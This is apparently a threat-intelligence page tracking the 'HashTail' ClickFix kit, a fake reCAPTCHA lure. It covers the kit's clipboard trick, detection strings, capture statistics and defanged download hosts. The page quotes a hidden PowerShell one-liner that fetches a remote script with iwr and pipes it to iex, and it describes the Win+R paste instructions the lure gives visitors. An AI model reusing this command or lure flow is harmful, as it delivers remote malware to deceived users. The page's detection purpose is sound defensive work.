HashTail ClickFix kit
HashTail is a fake reCAPTCHA lure that puts a hidden PowerShell command and a matching four-digit verification hash on the clipboard. We have matched it on 2 sites since 11 August.
HashTail in numbers
Since 11 August, the first HashTail match in our records, counted on 12 November 2026. How we count.
| Sites with HashTail code | 2 |
|---|---|
| Sites with a match in the last 30 days | 0 |
| Latest match | 7 September |
| Still serving it when recaptured at least 25 days later | 1 of 1 site (100%) |
The hash is part of the clipboard
HashTail is a fake reCAPTCHA page. Its page shows Google's reCAPTCHA logo, links to Google's privacy and terms pages and loads Font Awesome for the Windows icon. The verification control, spinner and instructions are the lure's own HTML and JavaScript.
The distinctive part appears after the visitor clicks. The script generates a number from 1000 to 9999, writes it beside I am not a robot - reCAPTCHA Verification Hash: and appends the same number to the copied command as a PowerShell comment. The harmless-looking text is the end of a longer clipboard value.
Splunk published the same stageClipboard function and page structure in July 2025, including one of the command forms in our captures (Splunk Threat Research Team).
From checkbox to Windows Run
The page starts as a centred, 300-pixel-wide reCAPTCHA box. A mobile user gets a message to visit on a computer, and the page prevents scrolling. On a desktop, clicking the checkbox shrinks it, starts a spinner after half a second and opens the instruction panel after 900 milliseconds.
The panel tells the visitor to press Win+R, paste with Ctrl+V and press Enter. At the same time, the script creates a temporary textarea, selects the full command, copies it with document.execCommand("copy") and removes the element. Clicking outside the panel resets the checkbox, ready for another attempt and a new four-digit hash.
Two hidden command forms
Both pages use iwr to request a PowerShell script and pipe the response to iex. One runs that line directly in a hidden PowerShell window:
powershell -w hidden -c "iwr '[address]/[script].ps1' | iex"
The other starts a second hidden PowerShell process and passes the same iwr and iex form as its argument. The interface, delays, clipboard functions and hash comment stayed the same while the request address and command wrapper changed.
What we see
| Month | New sites |
|---|---|
| September | 1 |
| October | 0 |
| November so far | 0 |
Of the 1 site recaptured at least 25 days after their first match, 1 were still serving HashTail (100%).
Checking a page
View the raw HTML and search for:
stageClipboard,setClipboardCopyDataandverification-idin the same scriptI am not a robot - reCAPTCHA Verification Hash:followed by a generated number- a temporary
textareapassed todocument.execCommand("copy")and then removed - the text
Press & hold the Windows Keyand a disabledverify-verify-button - the
mobileWarningModalmessage that tells phone visitors to use a computer
The request address changes between copies. The hash wording, clipboard functions and verification-panel element names are the stable parts.
Hosts its commands download from
HashTail lure commands we captured download from 2 hosts.
| Host | Sites | Last seen | Latest command |
|---|---|---|---|
irp[.]cdn-website[.]com | 1 | CommandURL First seen 6 September 2026, 1 URL on this host. | |
yogasitesdev[.]wpengine[.]com | 1 | CommandURL First seen 7 September 2026, 1 URL on this host. |
The ClickFix command tracker lists every host.